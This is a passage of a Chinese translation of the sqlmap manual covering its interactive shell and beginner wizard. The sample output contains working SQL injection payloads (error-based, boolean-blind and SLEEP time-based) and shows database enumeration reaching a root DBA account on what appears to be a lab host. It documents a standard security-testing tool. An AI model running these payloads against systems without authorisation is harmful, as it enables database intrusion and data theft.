sqlmap中文手册 (21)

  [xx:xx:39] [INFO] GET parameter ’id’ is ’MySQL >= 4.1 AND error-based - WHERE or HAVING clause’ injectable GET parameter ’id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] N

  sqlmap identified the following injection points with a total of 3 HTTP(s) requests:

  ---

  Place: GET

  Parameter: id

      Type: error-based

      Title: MySQL >= 4.1 AND error-based - WHERE or HAVING clause

      Payload: id=1 AND ROW(4959,4971)>(SELECT COUNT(*),CONCAT(0x3a6d70623a,(SELECT (CASE WHEN (4959=4959) THEN 1 ELSE 0 END)),0x3a6b7a653a,FLOOR(RAND(0)*2))x FROM (SELECT 4706 UNION SELECT 3536 UNION SELECT 7442 UNION SELECT 3470)a GROUP BY x)

  ---

参数:–test-skip

若不想使用包含关键词“BENCHMARK”的payload可使用参数“–test-skip=BENCHMARK”。

17.交互式Sqlmap Shell

参数:–sqlmap-shell

使用此参数可以打开一个交互式的Sqlmap Shell,支持历史记录。如:

  werner@Yasser:~$ sqlmap --sqlmap-shell

          ___

         __H__

   ___ ___[.]_____ ___ ___  {1.1.10#stable}

  |_ -| . ["]     | .'| . |

  |___|_  [(]_|_|_|__,|  _|

        |_|V             

 

  sqlmap-shell> -u "192.168.56.102"

  [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

 

  [*] starting at 20:22:46

 

  [20:22:46] [INFO] testing connection to the target URL

  [20:22:46] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS

  [20:22:46] [INFO] testing if the target URL is stable

  [20:22:47] [INFO] target URL is stable

  [20:22:47] [CRITICAL] no parameter(s) found for testing in the provided data (e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')

 

  [*] shutting down at 20:22:47

 

          ___

         __H__

   ___ ___[.]_____ ___ ___  {1.1.10#stable}

  |_ -| . ["]     | .'| . |

  |___|_  [(]_|_|_|__,|  _|

        |_|V             

 

  sqlmap-shell> exit

18.为初学者准备的简单向导

参数:–wizard

Sqlmap特地为初学者准备了一个有着尽可能少问题的工作流的向导。用户输入目标后若一直按回车选择默认回答到工作流的最后也会得到一个正确的结果。如:

  werner@Yasser:~$ sqlmap --wizard

          ___

         __H__

   ___ ___["]_____ ___ ___  {1.1.10#stable}

  |_ -| . [)]     | .'| . |

  |___|_  ["]_|_|_|__,|  _|

        |_|V             

 

  [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

 

  [*] starting at 20:39:41

 

  [20:39:41] [INFO] starting wizard interface

  Please enter full target URL (-u):

  POST data (--data) [Enter for None]: username=001&password=003

  Injection difficulty (--level/--risk). Please choose:

  [1] Normal (default)

  [2] Medium

  [3] Hard

  > 1

  Enumeration (--banner/--current-user/etc). Please choose:

  [1] Basic (default)

  [2] Intermediate

  [3] All

  > 1

 

  sqlmap is running, please wait..

 

  sqlmap resumed the following injection point(s) from stored session:

  ---

  Parameter: username (POST)

      Type: boolean-based blind

      Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)

      Payload: username=001%' OR NOT 2143=2143#&password=003

 

      Type: AND/OR time-based blind

      Title: MySQL >= 5.0.12 OR time-based blind (comment)

      Payload: username=001%' OR SLEEP(5)#&password=003

  ---

  web server operating system: Linux Ubuntu

  web application technology: Apache 2.4.7, PHP 5.5.9

  back-end DBMS operating system: Linux Ubuntu

  back-end DBMS: MySQL >= 5.0.12

  banner:    '5.5.50-0ubuntu0.14.04.1'

  current user:    'root@localhost'

  current database:    'DSSchool'

  current user is DBA:    True

 

  [*] shutting down at 20:40:07

总结

完整阅读Sqlmap官方手册后终于对Sqlmap有了一个较为全面的认识。以前只是有所耳闻,现在切实地感受到了Sqlmap的强大,也愈加敬佩Sqlmap的两位作者:

Bernardo Damele A. G. (@inquisb)

Miroslav Stampar (@stamparm)

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wpyxgg.html